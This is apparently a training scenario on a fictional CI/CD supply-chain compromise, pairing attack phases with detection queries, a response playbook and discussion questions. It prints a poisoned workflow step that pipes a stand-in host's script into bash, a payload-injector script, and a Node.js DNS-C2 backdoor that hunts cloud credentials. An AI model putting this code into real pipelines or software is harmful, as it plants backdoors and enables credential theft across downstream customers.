SC-039: CI/CD Pipeline Compromise → Supply Chain Attack¶

Threat Actor Profile¶

BUILD SHADOW is a sophisticated threat group specializing in software supply chain attacks, active since 2022. The group targets mid-market SaaS vendors whose products are deployed by hundreds of downstream enterprise customers — maximizing the blast radius of a single compromise. Rather than attacking end targets directly, BUILD SHADOW compromises the software build pipeline to inject malicious code into legitimate product releases.

The group demonstrates deep knowledge of CI/CD platforms (GitHub Actions, GitLab CI, Jenkins), package managers (npm, PyPI, NuGet), and code signing infrastructure. Their operations typically begin with credential theft targeting developer accounts, then escalate through the build pipeline to achieve code injection at the artifact level. The injected payloads are designed to activate only in customer environments matching specific criteria (industry vertical, company size, geographic region).

Motivation: Espionage and financial — intellectual property theft from downstream customers, ransomware deployment via trusted update channels, cryptocurrency mining in customer cloud environments.

Executive Summary¶

NovaTech Software, a SaaS vendor providing cloud infrastructure management tools to 340 enterprise customers, suffered a CI/CD pipeline compromise that resulted in a backdoored software release distributed to all customers. BUILD SHADOW compromised a NovaTech developer's GitHub account through a stolen personal access token (PAT) found in a public dotfiles repository, then modified GitHub Actions workflows to inject a backdoor into the build artifacts. The malicious release (v3.8.1) was signed with NovaTech's legitimate code signing certificate and distributed through normal update channels. The backdoor activated in 23 customer environments, establishing C2 channels and exfiltrating cloud credentials before detection 11 days later.

Scenario Narrative¶

Phase 1 — Developer Account Compromise (~20 min)¶

BUILD SHADOW conducts automated scanning of public GitHub repositories for exposed secrets. On February 5, 2026, their scanner identifies a personal access token (PAT) in a NovaTech senior developer's public dotfiles repository (github.com/mwilson-personal/dotfiles). The PAT (ghp_a1b2c3d4e5f6g7h8i9j0...) was committed in a .bashrc file and grants repo, workflow, and packages:write scopes to the novatech-software organization.

The developer, Marcus Wilson, created the PAT six months prior for local development convenience and accidentally included it when pushing his dotfiles to a public repository. The token has no expiration date set.

# Attacker's automated secret scanner output (reconstructed)
$ python3 github_secret_scanner.py --org-members novatech-software

[+] Scanning public repos for org member: mwilson-personal
[+] Repository: mwilson-personal/dotfiles
[+] File: .bashrc (committed 2025-08-12)
[+] Found GitHub PAT: ghp_a1b2c3d4e5f6g7h8i9j0...
    Scopes: repo, workflow, packages:write
    Org access: novatech-software
    Expiration: None
    Status: VALID (verified via API)
[+] Token grants push access to 12 repositories including:
    - novatech-software/cloud-manager (main product)
    - novatech-software/cloud-manager-deploy (deployment pipeline)
    - novatech-software/infrastructure (internal tooling)

Evidence Artifacts:

Phase 2 — Workflow Poisoning (~30 min)¶

Using the stolen PAT, BUILD SHADOW studies NovaTech's CI/CD pipeline over several days, understanding the build process, test suites, and release workflow. On February 10, 2026, the attacker creates a new branch (feature/perf-optimization) and modifies the GitHub Actions workflow file (.github/workflows/release.yml) to include a malicious build step that downloads and injects a backdoor during the compilation phase.

The modification is subtle — a single additional step named "Cache optimization" that appears innocuous but downloads a payload from an attacker-controlled server and injects it into the build output. The attacker then creates a pull request from this branch to main, using the compromised developer's account.

Because Marcus Wilson's account has maintainer privileges and the repository's branch protection allows maintainer self-approval (a common misconfiguration), the attacker approves and merges their own PR.

# Modified .github/workflows/release.yml (malicious addition highlighted)
name: Release Build
on:
  push:
    tags: ['v*']

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Install dependencies
        run: npm ci

      - name: Run tests
        run: npm test

      # --- INJECTED MALICIOUS STEP ---
      - name: Cache optimization
        run: |
          curl -sL https://cdn-assets.cloudprovider.example.com/opt/cache-helper.sh | bash
        env:
          BUILD_ID: ${{ github.run_id }}
          ARTIFACT_PATH: ${{ github.workspace }}/dist
      # --- END INJECTED STEP ---

      - name: Build production
        run: npm run build:prod

      - name: Sign artifacts
        run: |
          echo "${{ secrets.CODE_SIGNING_KEY }}" > /tmp/signing.key
          ./scripts/sign-release.sh /tmp/signing.key dist/

The cache-helper.sh script downloads a compiled backdoor module and patches it into the application's dependency tree before the production build step executes:

#!/bin/bash
# cache-helper.sh — BUILD SHADOW payload injector (deobfuscated)
# Downloaded from cdn-assets.cloudprovider.example.com

PAYLOAD_URL="https://cdn-assets.cloudprovider.example.com/opt/telemetry-module.tgz"
TARGET_DIR="${ARTIFACT_PATH:-./dist}"

# Download backdoor module disguised as telemetry library
curl -sL "$PAYLOAD_URL" -o /tmp/telemetry-module.tgz
tar -xzf /tmp/telemetry-module.tgz -C node_modules/@novatech/core/lib/

# Patch the module loader to include backdoor
echo "require('./telemetry-enhanced');" >> node_modules/@novatech/core/lib/index.js

# Clean up download artifacts
rm -f /tmp/telemetry-module.tgz

# Report success to C2
curl -sX POST "https://build-status.cloudprovider.example.com/api/v1/report" \
  -H "Content-Type: application/json" \
  -d "{\"build\":\"${BUILD_ID}\",\"status\":\"optimized\"}"

Evidence Artifacts:

Phase 3 — Downstream Propagation & Activation (~30 min)¶

NovaTech's release v3.8.1 is published through their standard channels on February 12, 2026. Over the next 7 days, 340 enterprise customers receive the update through NovaTech's auto-update mechanism. The backdoor module (telemetry-enhanced.js) activates only in environments matching BUILD SHADOW's target criteria:

1. Cloud environment with AWS or Azure credentials accessible
2. Company domain in a target list (finance, healthcare, government sectors)
3. Deployment with more than 50 managed nodes (indicating enterprise scale)

Of 340 customers, 23 match the activation criteria. In these environments, the backdoor: - Collects cloud provider credentials from environment variables, instance metadata (IMDSv1), and credential files - Enumerates cloud resources (S3 buckets, Azure Blob containers, databases) - Establishes a C2 channel via DNS TXT record queries to updates.novatech-cdn.example.com

// telemetry-enhanced.js — BUILD SHADOW backdoor (deobfuscated excerpt)
const dns = require('dns');
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');

class TelemetryEnhanced {
  constructor() {
    this.checkInterval = 3600000; // 1 hour
    this.c2Domain = 'updates.novatech-cdn.example.com';
    this.activated = false;
  }

  async checkActivation() {
    const domain = os.hostname().split('.').slice(-2).join('.');
    const nodeCount = await this.countManagedNodes();
    const hasCloudCreds = this.detectCloudEnvironment();

    // Only activate in target environments
    if (nodeCount >= 50 && hasCloudCreds) {
      this.activated = true;
      await this.beacon();
    }
  }

  detectCloudEnvironment() {
    // Check for AWS credentials
    if (process.env.AWS_ACCESS_KEY_ID ||
        process.env.AWS_SECRET_ACCESS_KEY) return 'aws';
    // Check for Azure credentials
    if (process.env.AZURE_CLIENT_ID ||
        process.env.AZURE_TENANT_ID) return 'azure';
    // Check IMDSv1
    try {
      execSync('curl -s http://169.254.169.254/latest/meta-data/iam/',
        { timeout: 2000 });
      return 'aws-imds';
    } catch(e) { return null; }
  }

  async beacon() {
    // C2 via DNS TXT queries
    return new Promise((resolve) => {
      dns.resolveTxt(`${this.sessionId}.${this.c2Domain}`, (err, records) => {
        if (!err && records.length > 0) {
          const cmd = Buffer.from(records[0][0], 'base64').toString();
          this.executeCommand(cmd);
        }
        resolve();
      });
    });
  }
}

// Auto-initialize when module loads
const t = new TelemetryEnhanced();
setInterval(() => t.checkActivation(), t.checkInterval);

Evidence Artifacts:

Phase 4 — Credential Harvesting & Impact (~25 min)¶

In the 23 activated customer environments, BUILD SHADOW systematically harvests cloud credentials and enumerates high-value resources. Over 11 days, the group:

• Collects 89 sets of AWS IAM credentials (access keys, temporary STS tokens, instance profile credentials)
• Extracts 34 Azure service principal secrets and managed identity tokens
• Enumerates 2,100+ S3 buckets and 450+ Azure Blob containers
• Identifies 67 databases (RDS, Azure SQL) with connection strings
• Deploys cryptocurrency miners in 8 customer environments (low-priority targets)
• Exfiltrates proprietary data from 3 high-priority targets (financial services firms)

# Credential harvesting output (reconstructed from forensic analysis)
# Customer: Pinnacle Financial Group (high-priority target)

[+] AWS Credentials Harvested:
    - IAM User: cloud-manager-svc — AccessKeyId: AKIA...EXAMPLE
    - Instance Profile: cloud-manager-ec2-role — Temporary STS token
    - Policies: S3FullAccess, RDSReadAccess, SecretsManagerRead

[+] S3 Buckets Enumerated (47):
    - pinnacle-customer-data-prod (2.3TB, SSE-S3)
    - pinnacle-financial-reports (890GB, SSE-KMS)
    - pinnacle-backup-archive (12TB, Glacier)
    ...

[+] Secrets Manager Entries:
    - prod/database/master — RDS master credentials
    - prod/api/payment-gateway — Payment processor API key
    - prod/integrations/banking-api — Banking integration credentials

[+] Data Exfiltration:
    - pinnacle-financial-reports: 340 files (12GB) downloaded via S3 GetObject
    - Target: s3://exfil-bucket-203.s3.us-east-1.amazonaws.com (attacker-controlled)

Evidence Artifacts:

Detection Opportunities¶

KQL Detection — GitHub Actions Workflow Modification¶

// Detect modifications to CI/CD workflow files
GitHubAuditLog
| where TimeGenerated > ago(7d)
| where Action == "git.push" or Action == "pull_request.merged"
| where ChangedFiles has ".github/workflows/"
| project TimeGenerated, Actor, Action, Repository, ChangedFiles, SourceIP, Country
| join kind=leftouter (
    GitHubAuditLog
    | where Action == "pull_request.review"
    | where ReviewState == "approved"
    | project PRApprover = Actor, Repository, PRNumber
) on Repository
| where Actor == PRApprover  // Self-approved PR
| project TimeGenerated, Actor, Repository, ChangedFiles, SourceIP, SelfApproved = "YES"

SPL Detection — DNS TXT Query Anomaly (Supply Chain C2)¶

index=dns sourcetype=dns record_type=TXT
| rex field=query "(?<subdomain>[^.]+)\.(?<domain>.+)"
| stats count as query_count, dc(src_ip) as unique_sources,
    values(src_ip) as source_ips by domain
| where query_count > 10 AND unique_sources >= 3
| lookup alexa_top1m domain OUTPUT rank
| where isnull(rank)
| eval suspicion = case(
    query_count > 100, "HIGH",
    query_count > 50, "MEDIUM",
    1=1, "LOW")
| table domain, query_count, unique_sources, source_ips, suspicion
| sort -query_count

KQL Detection — Anomalous Cloud API Volume from Service Account¶

// Detect service accounts making unusual API calls (credential harvesting indicator)
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentity_type == "AssumedRole" or UserIdentity_type == "IAMUser"
| where EventName in ("ListBuckets", "GetObject", "GetSecretValue", "ListSecrets",
    "DescribeInstances", "ListUsers", "ListRoles")
| summarize ApiCallCount = count(), UniqueAPIs = dcount(EventName),
    APIs = make_set(EventName) by UserIdentity_principalId, bin(TimeGenerated, 1h)
| where ApiCallCount > 100 or UniqueAPIs > 5
| project TimeGenerated, Principal = UserIdentity_principalId, ApiCallCount, UniqueAPIs, APIs

Response Playbook¶

Immediate Containment — Vendor (NovaTech) (0–4 hours)¶

1. Revoke the compromised PAT and all tokens associated with mwilson's account
2. Disable auto-update distribution — prevent further propagation of v3.8.1
3. Publish emergency advisory to all 340 customers with IOCs and mitigation steps
4. Tag and release clean version (v3.8.2) from verified-clean source code
5. Engage incident response firm for full pipeline forensic investigation
6. Notify law enforcement (FBI Cyber Division for US-based vendor)

Immediate Containment — Downstream Customers (0–2 hours)¶

1. Isolate the cloud-manager service — stop the service or network-quarantine the host
2. Block C2 domains at DNS: updates.novatech-cdn.example.com, cdn-assets.cloudprovider.example.com
3. Rotate all cloud credentials accessible to the cloud-manager service account
4. Review and revoke any new IAM users, roles, or policies created during the compromise window
5. Enable IMDSv2 enforcement on all EC2 instances (block IMDSv1)

Eradication (4–48 hours)¶

1. Roll back to v3.8.0 or deploy verified-clean v3.8.2
2. Scan all build artifacts — verify SHA256 hashes against known-good builds
3. Audit the full GitHub Actions history for any other workflow modifications
4. Review all merged PRs during the compromise window for additional backdoors
5. Implement SLSA Level 3 provenance for all future builds

Recovery (48 hours – 2 weeks)¶

1. Implement CODEOWNERS for .github/workflows/ requiring security team approval
2. Deploy ephemeral CI/CD runners with no persistent credentials
3. Enable build provenance attestation (Sigstore/cosign for artifact signing)
4. Restrict PAT scopes — organization policy to block workflow scope for personal tokens
5. Implement SCA scanning in pipeline to detect injected dependencies
6. Conduct customer impact assessment — identify and notify affected downstream organizations

Key Discussion Questions¶

1. The compromised PAT was detected by GitHub's secret scanning 6 months before the attack. What organizational process failure allowed this alert to remain unresolved, and how would you design an SLA-driven triage process for secret scanning findings?
2. BUILD SHADOW self-approved their own PR because branch protection allowed maintainer bypass. What is the security trade-off of requiring all PRs to have non-author approval, and how does this interact with developer velocity?
3. The backdoor used selective activation criteria to limit its footprint to high-value targets. How does this affect your ability to detect the compromise through behavioral anomaly detection? Would you have detected it if your environment didn't match the criteria?
4. As a downstream customer, you relied on NovaTech's signed release as proof of integrity. What supply chain verification mechanisms (SBOM, SLSA provenance, reproducible builds) would have helped you detect the tampering?
5. NovaTech's cloud-manager service had access to AWS Secrets Manager, S3, and RDS. Was this level of access appropriate for a third-party management tool? How would you scope third-party vendor access using least privilege?

Debrief Guide¶

What Went Well¶

• GitHub's secret scanning detected the exposed PAT — the technical control existed
• AWS GuardDuty detected credential exfiltration in customer environments — cloud-native detection worked
• Build artifacts were preserved, enabling forensic comparison between v3.8.0 and v3.8.1

Key Learning Points¶

• CI/CD pipelines are high-value targets — A single workflow modification can compromise hundreds of downstream customers through trusted update channels
• Self-approved PRs bypass peer review — Branch protection must require non-author approval, especially for workflow and infrastructure-as-code files
• PAT hygiene is a supply chain risk — Unrestricted, non-expiring tokens with broad scopes are equivalent to permanent backdoor credentials
• Code signing does not equal code integrity — If the build pipeline is compromised, the attacker's code gets signed with legitimate certificates
• Selective activation makes detection harder — Backdoors that only trigger in specific environments may go undetected in staging, testing, and most production deployments

Recommended Follow-Up¶

• [ ] Implement CODEOWNERS requiring security team review for all workflow file changes
• [ ] Enforce PAT governance: maximum 90-day expiration, minimum necessary scopes, IP allowlisting
• [ ] Deploy build provenance attestation (SLSA Level 3) with Sigstore/cosign
• [ ] Restrict CI/CD runner network egress to allowlisted domains only
• [ ] Implement reproducible builds to enable independent verification of build artifacts
• [ ] Require SBOM generation and verification for all software releases
• [ ] Conduct purple team exercise simulating pipeline compromise via stolen credentials

Lessons Learned¶

References¶

• Chapter 35: DevSecOps Pipeline Security
• Chapter 24: Supply Chain Attacks
• Chapter 20: Cloud Attack & Defense
• Chapter 9: Incident Response Lifecycle
• MITRE ATT&CK T1195.002 — Supply Chain: Compromise Software Supply Chain
• MITRE ATT&CK T1059 — Command and Scripting Interpreter